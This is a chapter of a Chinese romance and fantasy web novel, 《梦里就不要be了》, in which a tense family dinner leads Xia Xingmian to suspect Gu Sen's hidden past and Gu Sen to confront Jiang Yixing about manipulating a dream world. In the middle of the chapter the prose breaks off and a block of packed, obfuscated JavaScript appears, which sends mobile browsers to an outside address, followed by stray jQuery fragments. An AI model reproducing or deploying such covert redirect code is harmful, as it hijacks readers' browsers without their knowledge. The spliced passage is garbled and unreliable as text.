40. 宿命
作品:《梦里就不要be了》 他怎么会来这里?
夏星眠看着那个一贯低头不语的年轻人,此刻竟是一副轻松活泼的模样,像个老熟人似的和陆闻时寒暄了几句,然后和黄钰打了招呼。
“逸兴,你爸妈真不过来啊?”黄钰笑着问道。
蒋逸兴丝毫不拘束,惬意地接过保姆递来的花茶:“阿姨,他们今天真抽不开身,这不才让我从学校跑出来吗?”
蒋逸兴有意无意地去看夏星眠,眼里噙着笑意。
“给你介绍一下,这位是我嫂子!”陆闻时拍了拍他的肩膀,“哥和我爸谈事情去了,等会我去叫他,你们可得好好认识认识。”
“我们见过。”蒋逸兴唇角微扬,彬彬有礼地伸出右手,“你好,夏女士。”
夏星眠一脸震惊,这真的是那个站在她店门口木讷的少年吗?
长久的空白导致她迟迟没有回应,陆闻时连忙解围:“原来你们认识啊!那你还那么正式做什么?”
夏星眠这才尴尬不已地握了他的手。
“这不是正式,是尊重。”蒋逸兴含笑的眼睛宛若初春寒潭,冷俊却不失柔和,只是看久了,好像还有一些更深的东西。
“行,你有理。”陆闻时有些无语,一屁股摔倒在沙发上,任谁看了都想吐槽一句坐没坐相。
“对了闻时哥,我今晚就不回学校了,你这里应该能让我借住一下吧?”
陆闻时随意地摆了摆手:“那你可得陪我喝酒啊!”
夏星眠注意着每个人的言行举止,黄钰暂且不论,陆闻时和蒋逸兴都判若两人。
不知道书房里的顾森怎么样了。
说来说去,陆培林的意图无非就是想让顾森回来,帮衬也好,平分也罢,他想让他改姓陆。而且从神色来看,这似乎是他和黄钰商量过后的结果。
“我不明白您到底看中了我什么。”顾森靠着椅背,漫不经心地望着眼前这位血缘意义上的父亲,“我不过是被您捡回家的养子,没有资格去和陆闻时共享那些东西。”
“你当然有资格,你的能力比阿闻更大,你更适合......”陆培林突然停住,缓了几秒才接着说,“你更适合做培钰集团的继承人。”
顾森轻笑:“我差点以为您要说......我更适合做您的儿子了。”
两双眼睛直直绞着对方的视线,有些话他们心照不宣,顾森也猜到陆培林和黄钰双方让步的结果一定是因为双方都抛出了最后的牌。
可那又如何?
谁能保证今天跟踪的车不会成为夺命的刀?
陆培林眸光一沉,他本来也没打算隐瞒,可他还是低估了亲儿子的智商。
“既然你知道,那你就更应该......”
“更应该什么?”顾森打断,“您拿您的亲生儿子去做您继承人的磨脚石,很成功,他以后会和您一样,不择手段让集团利益最大化,守住您精心雕刻的商业版图。我的存在,只会画蛇添足。为什么一定要追求完美呢?实在不行你就放一碗血给陆闻时喝了,这样他的身体里就可以流着你的血了。”
陆培林瞳孔骤缩,不可置信地瞪着徐徐而起的顾森。而后一声脆响,顾森摔门而出。
楼下的人都因这一声动静顿住,反应过来的陆闻时连忙跑去接他的哥哥。顾森一脸阴沉地走下楼梯,一眼就看到了端坐的蒋逸兴。
他怎么在这里?
难道他才是陆闻时的朋友?
“哥......”陆闻时往书房瞥了一眼,很快恢复笑脸,“快来快来,给你介绍一下我的朋友!”
顾森先和夏星眠交换了一下眼神,确认她没有不舒服后才走到蒋逸兴面前。
“你好,上次走得匆忙,是我太没礼貌了,请不要见怪。”
这个声音......
顾森不由自主握紧双拳,拼尽全力克制才没有挥出去。
他现在需要重新思考站在一旁的陆闻时到底属不属于这个世界。
似乎察觉到他的异样,陆闻时朝正下楼的陆培林喊了一声:“爸,咱们吃饭吧!”
夏星眠从未参加过这样的家庭晚宴,一举一动都格外小心。
这里的每个人都心怀鬼胎,把所有试探都揉进了无辜的食物里。偏偏每一副面容又都是喜上眉梢,难免让人沉醉其中。
顾森,我想走,我想出去,你也别留下来好不好?
“哥,你今天就别走了,和嫂嫂留下来呗!”陆闻时举杯相碰,“你的酒量不是很好吗?不许耍赖啊!”
顾森滴酒未碰,却在蒋逸兴来推杯时卸下防备,当着夏星眠的面一饮而尽。她根本来不及阻止。
他想留下来。
夏星眠蹙着眉,但她疑惑的目光被他冰冷的眼神挡了回去。
顾森,你突然变得好陌生,还是我从未真正了解过你?
客厅的电视上还播放着黄钰随手打开的古装复仇狗血剧,女主的父亲因男主而死,后来她在不知情的情况下爱上了男主,那这份爱该何去何从?
“如果你爱上了你父亲用命换来的男孩,这到底是宿命,还是大逆不道?”
明明没有任何人开口,可这个声音却直直撞进夏星眠的耳朵,无限循环,挥之不去。久而久之,它化作一股热气从眼角溢出,缓缓飘向顾森。
夏星眠此前从未怀疑过,她甚至就这么不声不响地接受了顾森隐藏的身份,对他说过的话深都信不疑。
可她凭什么相信他?
宣之于口的糖衣炮弹就这么容易让她产生依赖吗?
还是这一切都只是他消灭愧疚感动自我的手段?
“嫂嫂,我哥好像喝醉了,要不你先带他回房间?”陆闻时的低语打断了她的沉思。
顾森微垂着头,耳根处可见轻微红晕,对任何人的呼唤都没有反应。
夏星眠看了一眼空酒瓶,把所有的疑惑和愤懑吞了下去,起身扶住顾森的肩膀。陆闻时见状连忙在前面带路。
顾森的步子很轻浮,却不乱,很容易就被夏星眠搀回房间,很容易就被她一把扔在床上。
陆闻时留下一个不明所以的窃笑,慢悠悠关上房门。
这是顾森小时候住的房间,除了必备家具外没有任何生气,很大,很空虚。
夏星眠盯着他的脸,想和记忆深处某张面容重合。她只清楚地记得,他的眼睛是琥珀色的。可是过了那么多年,人的相貌会变,性格会变,记忆会模糊,她并不能确定当年死里逃生的男孩就是顾森。
她也不想确定。
好荒唐。
那场车祸的受害人就是我爸爸对吧?
那本来是陆家为你准备
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011529|191537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的对吧?
夏星眠缓缓凑近,湿润的气息缠在他两颊。
你怎么那么大能耐呢?
她猛地起身,这个鬼地方根本打不到车,现在下去指不定要面对什么风波,还是等天亮吧,等他醒来吧,等他把自己带出去再说。
夏星眠绕到床的另一侧,本想靠着将就一晚,却迷迷糊糊地失去了意识。
楼下的宴席很快就散了,蒋逸兴踩着醉意走进客房。房门一关,一只手在他身后出现,猛地掐住喉咙,砰地一声把他整个人抵到墙壁上。
他毫不意外,平静地看着顾森。
“冷静点,不管在哪,杀人都犯法。”
“果然是你搞得鬼。”顾森一用力,他的颈骨爆出一声轻响,“这里的蒋逸兴恐怕已经被你处理干净了,只要让你不留痕迹地消失,没有人会察觉。”
蒋逸兴说不出话,挣扎着打了个手势。
那是顾森自设的标志,让他时刻警醒自己不要被这里的意识吞噬。
他松了些力道。
“咳咳——给我一点时间,我是来帮你的。”
“帮我?”顾森轻笑,“送陆闻时进来差点害死眠眠,打乱了我所有的计划,你管这叫帮我?”
蒋逸兴深吸一口气,猛地甩掉顾森的手:“我只是想提醒你,你还没有发现吗?你的潜意识已经产生抵抗了!”
改变结局,让局中人只看得到美好,这是顾森唯一能想到的让夏星眠重燃希望的方式。可仅仅是这样还不够。她容易沉溺,容易迷失,容易困在这个糖果屋。等幸福积累到了一定程度,所有的磨难与挫折都将成为糖果屋的点缀,她能进出自由,来去如风。
可是建造糖果屋的人呢?
他真的甘心毁掉那么美好的世界吗?
顾森眉眼微蹙:“什么意思?”
蒋逸兴眼眸一转,脸上再不见半分情绪,平静地说:“太顺利总归不是好事,不管是你还是夏星眠,都会觉得不真实。我设计一点麻烦,调动一下你们的情绪。你没发现吗?自从落水后,她对你的爱意增长得非常快......”
这一点确实毋庸置疑。
“你不能把她保护得太好。”蒋逸兴接着说,“心结只解开一半也不行,你为什么不告诉她当年她父亲救下的人是谁呢?你以为她不在乎吗?还是你真的打算......让这个人在她眼前被撞死?”
始末发展,顺遂的从来都是顾森的意思,蒋逸兴的介入让夏星眠的意识彻底活了过来。
她不该被束缚,不该被蒙在鼓里。
“我为什么要听你的?”顾森盯着他的眼睛,“陆闻时到底有什么目的?”
蒋逸兴一时语塞。
顾森这个拒人于千里之外的性格,根本接受不了别人的好意,所有的解释在他看来都是蓄意谋划,接近被害妄想症的边缘。
比起夏星眠,他这个病人更难治。
“你只需要慢慢享受她对你的爱,一步一步和她走下去,然后走出来。”蒋逸兴缓缓道,“这不就是你一开始想要的吗?我什么都不会做,陆闻时也什么都不会做......”
“是吗?”顾森打断,“那萱萱的出现你怎么解释?”
蒋逸兴微张着嘴,过了好一会才沉声问:“见到自己的亲生母亲,你有什么感受?”

